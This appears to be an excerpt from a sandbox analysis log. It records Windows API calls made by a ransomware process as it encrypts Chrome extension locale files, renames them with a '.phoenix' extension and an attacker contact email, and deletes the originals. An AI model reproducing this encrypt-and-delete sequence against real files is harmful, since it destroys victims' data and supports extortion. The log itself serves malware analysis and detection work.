	[0262.818] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x269, lpOverlapped=0x0) returned 1
	[0262.841] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x270, dwBufLen=0x270 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x270) returned 1
	[0262.841] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x270, lpOverlapped=0x0) returned 1
	[0262.841] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151600) returned 1
	[0262.841] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0262.841] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0262.842] CryptDestroyKey (hKey=0x151600) returned 1
	[0262.842] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0262.842] CryptDestroyKey (hKey=0x151780) returned 1
	[0262.842] CloseHandle (hObject=0x2c0) returned 1
	[0262.842] CloseHandle (hObject=0x2c4) returned 1
	[0262.842] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\id\\messages.json")) returned 1
	[0262.843] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0262.843] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0262.843] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=778) returned 1
	[0262.843] CloseHandle (hObject=0x2c4) returned 1
	[0262.843] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ja\\messages.json")) returned 0x20
	[0262.843] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ja\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ja\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.843] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0262.844] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.844] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.844] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ja\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ja\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.844] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151500) returned 1
	[0262.844] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0262.844] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x30a, lpOverlapped=0x0) returned 1
	[0262.857] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x310, dwBufLen=0x310 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x310) returned 1
	[0262.857] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x310, lpOverlapped=0x0) returned 1
	[0262.858] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1513c0) returned 1
	[0262.858] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0262.858] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0262.858] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0262.858] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0262.858] CryptDestroyKey (hKey=0x151500) returned 1
	[0262.859] CloseHandle (hObject=0x2c4) returned 1
	[0262.859] CloseHandle (hObject=0x2c0) returned 1
	[0262.859] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\ja\\messages.json")) returned 1
	[0262.860] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0262.860] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.860] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=686) returned 1
	[0262.860] CloseHandle (hObject=0x2c0) returned 1
	[0262.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\lt\\messages.json")) returned 0x20
	[0262.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\lt\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\lt\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.861] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.861] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.861] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.861] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\lt\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\lt\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0262.861] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151780) returned 1
	[0262.861] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0262.861] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x2ae, lpOverlapped=0x0) returned 1
	[0262.874] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2b0, dwBufLen=0x2b0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x2b0) returned 1
	[0262.874] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x2b0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x2b0, lpOverlapped=0x0) returned 1
	[0262.875] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151500) returned 1
	[0262.876] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0262.876] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0262.876] CryptDestroyKey (hKey=0x151500) returned 1
	[0262.876] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0262.876] CryptDestroyKey (hKey=0x151780) returned 1
	[0262.876] CloseHandle (hObject=0x2c0) returned 1
	[0262.876] CloseHandle (hObject=0x2c4) returned 1
	[0262.876] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\lt\\messages.json")) returned 1
	[0262.877] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0262.877] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\nb\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\nb\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0262.878] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=644) returned 1
	[0262.878] CloseHandle (hObject=0x2c4) returned 1
	[0262.878] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\nb\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\nb\\messages.json")) returned 0x20
	[0262.878] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\nb\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\nb\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.878] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\nb\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\nb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0262.878] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.879] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.879] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\nb\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\nb\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.879] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151480) returned 1
	[0262.879] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0262.879] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x284, lpOverlapped=0x0) returned 1
	[0262.881] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x290, dwBufLen=0x290 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x290) returned 1
	[0262.881] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x290, lpOverlapped=0x0) returned 1
	[0262.882] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1517c0) returned 1
	[0262.883] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0262.883] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0262.883] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0262.883] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0262.883] CryptDestroyKey (hKey=0x151480) returned 1
	[0262.883] CloseHandle (hObject=0x2c4) returned 1
	[0262.883] CloseHandle (hObject=0x2c0) returned 1
	[0262.883] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\nb\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\nb\\messages.json")) returned 1
	[0262.884] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0262.884] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.885] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=642) returned 1
	[0262.885] CloseHandle (hObject=0x2c0) returned 1
	[0262.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\nl\\messages.json")) returned 0x20
	[0262.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\nl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\nl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.885] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0262.885] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.885] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0262.885] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\nl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\nl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0262.886] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151780) returned 1
	[0262.886] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0262.886] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x282, lpOverlapped=0x0) returned 1
	[0263.045] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x290, dwBufLen=0x290 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x290) returned 1
	[0263.045] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x290, lpOverlapped=0x0) returned 1
	[0263.046] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151640) returned 1
	[0263.046] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.046] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0263.046] CryptDestroyKey (hKey=0x151640) returned 1
	[0263.046] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0263.046] CryptDestroyKey (hKey=0x151780) returned 1
	[0263.046] CloseHandle (hObject=0x2c0) returned 1
	[0263.046] CloseHandle (hObject=0x2c4) returned 1
	[0263.046] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.3_0\\_locales\\nl\\messages.json")) returned 1
	[0263.047] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
